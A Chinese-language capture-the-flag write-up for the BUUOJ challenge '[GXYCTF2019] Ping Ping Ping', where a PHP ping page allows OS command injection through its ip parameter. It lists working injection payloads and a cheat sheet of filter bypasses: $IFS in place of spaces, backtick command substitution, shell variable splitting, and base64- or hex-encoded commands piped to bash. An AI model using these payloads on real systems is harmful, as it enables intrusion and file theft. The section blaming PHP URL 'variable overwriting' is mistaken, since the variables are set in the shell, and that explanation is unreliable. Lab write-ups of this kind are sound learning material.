CTF_[GXYCTF2019]Ping Ping Ping
本文最后更新于 426 天前,其中的信息可能已经有所发展或是发生改变。

题目地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

启动靶机:

0x01

get请求一个ip参数?

感觉像命令执行:但是没有试出来什么东西

试一试?ip=127.0.0.1;ls有结果回显

0x02

看到目录下有flag.php但是用cat命令读不出来

所以是过滤了空格和标点,flag等符号

过滤了空格,用${IFS}$替代空格

?ip=127.0.1;cat${IFS}$flag.php

页面还是如此,说明命令里还是有东西被过滤掉了的

把{}用$IFS$1代替试试

还是不行

可能flag这个词也被过滤了,那么读一下index.php

空格替代那里只有$IFS$1才能用,其他的好像都被过滤了

0x03 index.php代码解释

"概述": "这段PHP代码主要用于对传入的IP地址进行一些安全性检查,然后执行一个ping命令并打印结果。",
"详细解释": {
"代码流程": [
"接收一个名为'ip'的GET参数。",
"对'ip'进行一系列的正则表达式匹配检查。",
"如果'ip'中包含某些特殊字符或空格,或者含有'bash'或'flag',那么就终止脚本并返回错误信息。",
"如果没有任何问题,会执行一个ping命令(尝试向这个IP地址发送4个ping请求),然后打印命令的结果。"
],
"安全性检查": {
"特殊字符检查": "代码使用正则表达式检查'ip'是否包含一些特殊字符,如&、/、?、*、<、>、'、"、\、(、)、[、]、{、}。如果包含任何一个,脚本将终止并返回错误信息。",
"空格检查": "如果'ip'中包含空格,脚本将终止并返回错误信息。",
"bash检查": "如果'ip'中包含'bash',脚本将终止并返回错误信息。",
"flag检查": "如果'ip'中包含字符序列'f', 'l', 'a', 'g'(无论顺序如何),脚本将终止并返回错误信息。"
},
"ping命令": "使用shell_exec函数执行ping命令,尝试向传入的IP地址发送4个ping请求。命令的结果会被存储在变量$a中,然后通过print_r函数打印出来。"
}
}

0x04 网上的wp看到一个骚操作:cat$IFS$9`ls`,将ls输出的结果作为参数给cat命令从而输出flag.php的内容,从而达到绕过flag被过滤的限制。

这里使用变量覆盖:

在 PHP 中,变量可以通过多种方式进行覆盖。在这种情况下,变量 $a 被覆盖的原因是因为在 URL 中通过 ?ip=127.0.0.1;a=g;cat$IFS$1index.php 传递了参数 a=g。

当 PHP 解析这个 URL 时,它会将参数 a=g 赋值给变量 $a,从而覆盖了原有的值。这是因为在 PHP 中,通过 URL 参数传递的值可以被解析为变量,并且如果这些变量已经存在,它们的值会被新的值覆盖。

在这种情况下,URL 中的参数 a=g 被解析为变量 $a,并且赋值为字符串 "g"。这意味着在执行 cat$IFS$1index.php 时,变量 $a 的值已经被覆盖为 "g",而不是之前的值。

请注意,变量覆盖是一种安全风险,可以导致代码注入或敏感信息泄露。因此,在处理用户输入时,应该采取适当的安全措施来避免变量覆盖问题。

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤

?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没 flag

?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有 flag

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有 flag

内联执行

flag会在页面源码中输出

?ip=127.0.0.1;cat$IFS`ls`

?ip=127.0.0.1;cat$IFS$3`ls`

?ip=127.0.0.1;cat$IFS$9`ls`

?ip=127.0.0.1|cat$IFS$9`ls`

绕过思路

cat fl* 用 * 匹配任意

cat fla* 用 * 匹配任意

ca\t fla\g.php 反斜线绕过

cat fl”ag.php 两个单引号绕过

echo “Y2F0IGZsYWcucGhw” | base64 -d | bash

//base64 编码绕过 (引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo “63617420666c61672e706870” | xxd -r -p | bash

//hex 编码绕过 (引号可以去掉)

echo “63617420666c61672e706870” | xxd -r -p | sh

//sh 的效果和 bash 一样

cat fl [a] g.php 用 [] 匹配

a=fl;b=ag;cat $a$b 变量替换

cp fla {g.php,G} 把 flag.php 复制为 flaG

ca${21} t a.txt 利用空变量 使用 $* 和 $@,$x (x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

文末附加内容
暂无评论

发送评论 编辑评论


				
上一篇
下一篇